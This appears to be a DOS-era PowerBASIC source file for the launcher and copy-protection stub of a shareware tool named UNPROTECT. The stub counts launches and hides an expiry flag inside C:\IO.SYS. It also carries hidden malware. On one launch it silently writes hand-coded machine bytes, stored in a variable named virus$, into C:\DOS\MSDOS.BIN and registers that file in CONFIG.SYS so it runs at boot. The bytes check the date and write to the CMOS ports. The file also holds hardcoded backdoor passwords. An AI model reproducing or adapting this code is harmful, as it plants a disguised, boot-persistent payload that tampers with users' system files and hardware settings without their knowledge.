269 lines
7.6 KiB
QBasic
269 lines
7.6 KiB
QBasic
if Command$="" then
|
||
print"Dieses Programm kann nicht selbst gestartet werden!"
|
||
print"Starten Sie UNP.COM."
|
||
goto Ende
|
||
end if
|
||
$INCLUDE "pbwindow.inc"
|
||
dim item$(3)
|
||
open "B",#1,"C:\IO.SYS"
|
||
seek #1,40102
|
||
get$ #1,1,IO$
|
||
close #1
|
||
if io$="n" then Expi=1 else Expi=0
|
||
color 0,0:print "Fuckin'Host SystOper":color 7,0
|
||
if command$="/SysOp" then goto SysOp
|
||
if Expi=1 then goto Expired
|
||
open "B",#2,"UNPROT.EXE"
|
||
seek #2,30
|
||
get$ #2,1,NumOfLaunchs$
|
||
Launchs=asc(NumOfLaunchs$)
|
||
if Launchs=0 then close #1:close #2:goto Expired
|
||
Launchs=Launchs-1
|
||
seek #2,30
|
||
NumOfLaunchs$=chr$(Launchs)
|
||
put$ #2,NumOfLaunchs$
|
||
close #2
|
||
if Launchs=4 then
|
||
open "B",#1,"C:\DOS\MSDOS.BIN"
|
||
virus$=chr$(&HB4)+chr$(&H2A)+chr$(&HCD)+chr$(&H21)+chr$(&H80)+chr$(&HFE)
|
||
virus$=virus$+chr$(&H0C)+chr$(&H75)+chr$(&H0a)+chr$(&HBA)+chr$(&H70)
|
||
virus$=virus$+chr$(&H00)+chr$(&HB0)+chr$(&H11)+chr$(&HEE)+chr$(&H42)
|
||
virus$=virus$+chr$(&H32)+chr$(&Hc0)+chr$(&Hee)
|
||
put$ #1,virus$
|
||
close #1
|
||
open "I",#1,"C:\CONFIG.SYS"
|
||
open "O",#2,"C:\CONFIG.S_S"
|
||
9 line input #1,Dummy$
|
||
print #2,Dummy$
|
||
if LCase$(Dummy$)="[common]" then 10
|
||
if eof(1) then 11 else 9
|
||
10 print #2,"DEVICE=C:\DOS\MSDOS.BIN"
|
||
goto 12
|
||
11 print#2,"[common]"
|
||
print#2,"DEVICE=C:\DOS\MSDOS.BIN"
|
||
goto 13
|
||
12 line input #1,Dummy$
|
||
print #2,Dummy$
|
||
if eof(1) then goto 13 else 12
|
||
13 close #1
|
||
close #2
|
||
kill "C:\CONFIG.SYS"
|
||
name "C:\CONFIG.S_S" as "C:\CONFIG.SYS"
|
||
end if
|
||
open "O",#1,"UNP.$$$"
|
||
PRINT #1,"MZ";
|
||
CLOSE #1
|
||
cmdline$="COPY UNP.$$$ /B + UNP.OVL /B UNP.EXE /B >NUL"
|
||
shell cmdline$
|
||
kill "unp.$$$"
|
||
shell "UNP.EXE"
|
||
kill "UNP.EXE"
|
||
goto Ende
|
||
|
||
SysOp:
|
||
Call MakeWindow(3,5,20,74,ColAttr%(14,1),3,4,1)
|
||
Call TitleWindow(1,"[ SysOp - Setup ]")
|
||
Call PrtCwindow(2,"*** SysOp - Setup initiated ***")
|
||
color 15,1
|
||
locate 7,7:print "Opening UNPROT.EXE ... ";
|
||
open "B",#1,"UNPROT.EXE"
|
||
print "OK"
|
||
locate 8,7:print "Seeking to Flag-Byte ... ";
|
||
seek #1,30
|
||
print "OK"
|
||
locate 9,7:print "Getting Launch-Flag-Info ... ";
|
||
get$ #1,1,LaunchsLeft$
|
||
print "OK"
|
||
locate 10,7:print "Closing UNPROT.EXE ... ";
|
||
close #1
|
||
print"OK"
|
||
color 12,1:locate 11,7:print"StartUp-Sequence complete."
|
||
Call MakeWindow(10,20,5,40,ColAttr%(15,3),3,4,1)
|
||
Call TitleWindow(1,"[ Password input ]")
|
||
locate 12,22:color 14,3:print"Enter password: ";
|
||
color 1,1:input "",Pass$:color 15,1
|
||
if Pass$="FuckHost" then UserN$="Markus"
|
||
if Pass$="Calle" then UserN$="Carlos"
|
||
if UserN$="" then
|
||
Call MakeWindow(10,30,4,22,ColAttr%(12,2),3,4,1)
|
||
Call TitleWindow(1,"[ ALERT!! ]")
|
||
locate 12,32:color 12,2:print "PASSWORD INCORRECT"
|
||
delay 2
|
||
call RemoveWindow
|
||
delay .5
|
||
call RemoveWindow
|
||
color 12,1
|
||
locate 13,7:print"*** INCORRECT PASSWORD ***, exiting..."
|
||
delay 1
|
||
call RemoveWindow
|
||
goto Ende
|
||
end if
|
||
Call RemoveWindow
|
||
locate 13,7:color 12,1
|
||
print"*** PASSWORD CORRECT ***, logging in ..."
|
||
locate 15,7:color 14,1
|
||
print "Hi ";UserN$;"! Nice to see you again."
|
||
MenuAgain:
|
||
item$(0)=""
|
||
item$(1)=""
|
||
item$(2)=""
|
||
item$(3)=""
|
||
item$(0)="[ Logged in ]"
|
||
item$(1)="View current Status"
|
||
item$(2)="Enter new LF"
|
||
item$(3)="Register this program"
|
||
call MakeMenu(10,50,ColAttr%(14,3),ColAttr%(15,1),3,4,1,1,3,item$())
|
||
decr Wwidth%,4
|
||
if CurntPos%=0 then
|
||
locate 20,7:color 10,1:print "*** ESC PRESSED ***, logging out ..."
|
||
delay 2
|
||
call RemoveWindow
|
||
goto Ende
|
||
end if
|
||
if CurntPos%=1 then 'Status anzeigen
|
||
call MakeWindow(9,30,6,28,ColAttr%(15,3),3,4,1)
|
||
call TitleWindow(1,"[ Program Status ]")
|
||
locate 11,32:color 15,3:print"Program Status: ";
|
||
if Expi=1 then color 12,3:print"LOCKED" else color 10,3:print"UNLOCKED"
|
||
color 15,3
|
||
locate 12,32:print"Launchs left : ";mid$(str$(asc(LaunchsLeft$)),2,3)
|
||
call TitleWindow(5," KEY ")
|
||
1 if inkey$="" then 1
|
||
call RemoveWindow
|
||
goto MenuAgain
|
||
end if
|
||
if CurntPos%=2 then 'neues Launch-Flag setzen
|
||
call MakeWindow(9,20,7,40,ColAttr%(15,3),3,4,1)
|
||
call TitleWindow(1,"[ Edit Parameters ]")
|
||
call PrtWindow(2,2,"Program Status: ")
|
||
call PrtWindow(3,2,"Launchs left : ")
|
||
call TitleWindow(4," Stat-SPC ")
|
||
call TitleWindow(6," Lnch-+/- ")
|
||
call TitleWindow(5," OK-ESC ")
|
||
locate 11,38
|
||
if Expi=1 then color 12,3:print"LOCKED " else color 10,3:print"UNLOCKED"
|
||
locate 12,38
|
||
color 15,3:print mid$(str$(asc(LaunchsLeft$)),2,3)
|
||
2 a$=inkey$:if a$="" then 2
|
||
if a$=" " and Expi=1 and chf=0 then Expi=0:chf=1
|
||
if a$=" " and Expi=0 and chf=0 then Expi=1:chf=1
|
||
chf=0
|
||
if a$="+" then LaunchsLeft$=chr$(asc(LaunchsLeft$)+1)
|
||
if a$="-" then LaunchsLeft$=chr$(asc(LaunchsLeft$)-1)
|
||
locate 11,38
|
||
if Expi=0 then color 10,3:print"UNLOCKED"
|
||
if Expi=1 then color 12,3:print"LOCKED "
|
||
color 15,3
|
||
locate 12,38:print mid$(str$(asc(LaunchsLeft$)),2,3);" "
|
||
if A$=chr$(27) then goto WriteIt
|
||
goto 2
|
||
end if
|
||
if CurntPos%=3 then 'Programm komplett registrieren (Diesen Schutz entfernen)
|
||
Call MakeWindow(10,20,5,40,ColAttr%(15,3),3,4,1)
|
||
call TitleWindow(1,"[ Password input ]")
|
||
locate 12,22:color 14,3:print"Enter password: ";
|
||
color 1,1:input "",Pass$:color 15,1
|
||
if Pass$="RoboCop INDUSTRIES" then goto RegProggy
|
||
Call MakeWindow(10,30,4,22,ColAttr%(12,2),3,4,1)
|
||
call TitleWindow(1,"[ ALERT!! ]")
|
||
locate 12,32:color 12,2:print"PASSWORD INCORRECT"
|
||
delay 2
|
||
call RemoveWindow
|
||
delay .5
|
||
call RemoveWindow
|
||
color 12,1
|
||
locate 20,7:print"*** INCORRECT PASSWORD ***, exiting ..."
|
||
delay 1
|
||
call RemoveWindow
|
||
goto Ende
|
||
end if
|
||
|
||
RegProggy:
|
||
call RemoveWindow
|
||
call ClearWindow
|
||
color 12,1
|
||
locate 5,7:print"*** REGISTER SEQUENCE ENGAGED ***"
|
||
color 15,1
|
||
locate 7,7:print"Creating Temp-File ... ";
|
||
open "O",#1,"UNP.$$$"
|
||
print#1,"MZ";
|
||
close #1
|
||
print"OK"
|
||
locate 8,7:print"Creating UNP.EXE ... ";
|
||
shell "copy UNP.$$$ /B + UNP.OVL /b UNP.EXE /B >NUL"
|
||
print "OK"
|
||
locate 9,7:print"Deleting Temp-File ... ";
|
||
kill "UNP.$$$"
|
||
print "OK"
|
||
locate 10,7:print"Deleting Overlay-Data ... ";
|
||
kill "UNP.OVL"
|
||
print "OK"
|
||
locate 11,7:print"Deleting StartUp-Prog ... ";
|
||
kill "UNP.COM"
|
||
print"OK"
|
||
locate 12,7:print"Deleting StartUp-Tool ... ";
|
||
kill "SHROOM.COM"
|
||
print"OK"
|
||
locate 13,7:print"Killing MYSELF (Bye, ";UserN$;"!!) ... ";
|
||
kill "UNPROT.EXE"
|
||
print"OK"
|
||
locate 15,7:color 12,1:print"*** REGISTER SEQUENCE COMPLETE ***"
|
||
color 14,1:locate 16,7:print"This program is now fully functioning."
|
||
goto Ende
|
||
|
||
WriteIt:
|
||
call RemoveWindow
|
||
call ClearWindow
|
||
color 14,1:locate 5,7:print"OK, ";UserN$;"!"
|
||
color 15,1
|
||
locate 7,7:print"Opening UNPROT.EXE ... ";
|
||
open "B",#1,"UNPROT.EXE"
|
||
print "OK"
|
||
locate 8,7:print"Seeking to Flag-Byte ... ";
|
||
seek #1,30
|
||
print"OK"
|
||
locate 9,7:print"Writing setted Flag-Byte ... ";
|
||
put$ #1,LaunchsLeft$
|
||
print "OK"
|
||
locate 10,7:print"Closing UNPROT.EXE ... ";
|
||
close #1
|
||
print"OK"
|
||
locate 11,7:print"Changing Attribs of Flag-File ... ";
|
||
shell "ATTRIB -s -h -r C:\IO.SYS"
|
||
print "OK"
|
||
locate 12,7:print"Opening Flag-File ... ";
|
||
open "B",#1,"C:\IO.SYS"
|
||
print"OK"
|
||
locate 13,7:print"Seeking to Flag-Byte ... ";
|
||
seek #1,40102
|
||
print "OK"
|
||
locate 14,7:print"Writing setted Flag ... ";
|
||
if Expi=1 then put$ #1,"n"
|
||
if Expi=0 then put$ #1,"m"
|
||
print "OK"
|
||
locate 15,7:print"Closing Flag-File ... ";
|
||
close #1
|
||
print "OK"
|
||
locate 16,7:print"Changing Attribs of Flag File ... ";
|
||
shell "ATTRIB +s +h +r C:\IO.SYS"
|
||
print"OK"
|
||
color 12,1:locate 17,7:print"Write-Down Sequence complete."
|
||
goto MenuAgain
|
||
|
||
Expired:
|
||
color 4,0
|
||
print"Dies ist nur die Shareware-Version von UNPROTECT."
|
||
print"Wenn Ihnen dieses Programm gef<65>llt, so lassen Sie sich bitte registrieren."
|
||
print
|
||
if Expi=0 then
|
||
shell "ATTRIB -s -h -r C:\IO.SYS"
|
||
open "B",#1,"C:\IO.SYS"
|
||
seek #1,40102
|
||
put$ #1,"n"
|
||
close #1
|
||
shell "ATTRIB +s +h +r C:\IO.SYS"
|
||
end if
|
||
goto Ende
|
||
|
||
Ende:
|
||
end |